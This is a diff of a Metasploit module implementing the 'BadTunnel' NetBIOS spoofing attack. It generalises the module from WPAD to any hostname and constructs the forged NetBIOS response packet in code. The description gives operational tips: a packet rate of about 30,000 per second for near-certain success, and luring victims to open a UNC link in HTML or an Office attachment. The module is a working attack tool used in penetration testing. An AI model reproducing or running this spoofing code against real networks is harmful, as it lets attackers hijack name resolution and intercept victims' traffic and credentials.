@@ -13,9 +13,16 @@ def initialize
13
13
'Name' => 'NetBIOS "BadTunnel" Service' ,
14
14
'Description' => %q{
15
15
This module listens for a NetBIOS name request and then continuously spams
16
- NetBIOS responses for the name "WPAD" to the requesting host and port. This
17
- can cause a system behind a NAT gateway to cache a malicious address for the
18
- "WPAD" hostname.
16
+ NetBIOS responses to a target for given hostname, causing the target to cache
17
+ a malicious address for this name. On high-speed networks, the PPSRATE value
18
+ should be increased to speed up this attack. As an example, a value of around
19
+ 30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
20
+ Distant targets may require more time and lower rates for a successful attack.
21
+
22
+ This module works when the target is behind a NAT gateway, since the stream of
23
+ NetBIOS responses will keep the NAT mapping alive after the initial setup. To
24
+ trigger the initial NetBIOS request to the Metasploit system, force the target
25
+ to access a UNC link pointing to the same address (HTML, Office attachment, etc).
19
26
} ,
20
27
'Authors' => [
21
28
'hdm' , # Metasploit Module
@@ -38,15 +45,17 @@ def initialize
38
45
[
39
46
'Service'
40
47
] ,
41
- 'DefaultAction' => 'Service'
48
+ 'DefaultAction' => 'Service' ,
49
+ 'DisclosureDate' => 'Jun 14 2016'
42
50
)
43
51
44
52
register_options (
45
53
[
46
54
OptAddress . new ( 'SRVHOST' , [ true , "The local host to listen on." , '0.0.0.0' ] ) ,
47
55
OptPort . new ( 'SRVPORT' , [ true , "The local port to listen on." , 137 ] ) ,
48
- OptAddress . new ( 'WPADHOST' , [ true , "The address that WPAD should resolve to" , nil ] ) ,
49
- OptInt . new ( 'PPSRATE' , [ true , "The rate at which to send NetBIOS replies" , 1_000 ] ) ,
56
+ OptString . new ( 'NBNAME' , [ true , "The NetBIOS name to spoof a reply for" , 'WPAD' ] ) ,
57
+ OptAddress . new ( 'NBADDR' , [ true , "The address that the NetBIOS name should resolve to" , Rex ::Socket . source_address ( "50.50.50.50" ) ] ) ,
58
+ OptInt . new ( 'PPSRATE' , [ true , "The rate at which to send NetBIOS replies" , 1_000 ] )
50
59
] , self . class )
51
60
end
52
61
@@ -61,8 +70,9 @@ def netbios_service
61
70
@sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
62
71
@sock . bind ( datastore [ 'SRVHOST' ] , @port )
63
72
64
- @wpad_host = datastore [ 'WPADHOST' ]
65
- @targ_rate = datastore [ 'PPSRATE' ] . to_i
73
+ @targ_rate = datastore [ 'PPSRATE' ]
74
+ @fake_name = datastore [ 'NBNAME' ]
75
+ @fake_addr = datastore [ 'NBADDR' ]
66
76
67
77
print_status ( "BadTunnel: Listening for NetBIOS requests..." )
68
78
@@ -78,6 +88,7 @@ def netbios_service
78
88
79
89
print_status ( "BadTunnel: >> Received a NetBIOS request from #{ @targ_addr } :#{ @targ_port } " )
80
90
@sock . connect ( @targ_addr , @targ_port )
91
+
81
92
netbios_spam
82
93
83
94
rescue ::Interrupt
@@ -90,14 +101,18 @@ def netbios_service
90
101
end
91
102
92
103
def netbios_spam
93
- payload = [ "FFFF85000000000100000000204648464145424545434143414341434143414341434143414341434143414141000020000100FFFFFF000600000FFFFFFFF" ] . pack ( "H*" )
94
- payload [ 58 , 4 ] = Rex ::Socket . addr_aton ( @wpad_host )
104
+ payload =
105
+ "\xff \xff " + # TXID
106
+ "\x85 \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 \x20 " +
107
+ Rex ::Proto ::SMB ::Utils . nbname_encode ( [ @fake_name . upcase ] . pack ( "A15" ) + "\x00 " ) +
108
+ "\x00 \x00 \x20 \x00 \x01 \x00 \xff \xff \xff \x00 \x06 \x00 \x00 " +
109
+ Rex ::Socket . addr_aton ( @fake_addr )
95
110
96
111
stime = Time . now . to_f
97
112
pcnt = 0
98
113
pps = 0
99
114
100
- print_status ( "BadTunnel: >> Spamming WPAD responses to #{ @targ_addr } :#{ @targ_port } at #{ @targ_rate } /pps..." )
115
+ print_status ( "BadTunnel: >> Spamming NetBIOS responses for #{ @fake_name } / #{ @fake_addr } to #{ @targ_addr } :#{ @targ_port } at #{ @targ_rate } /pps..." )
101
116
102
117
live = true
103
118
while live
0 commit comments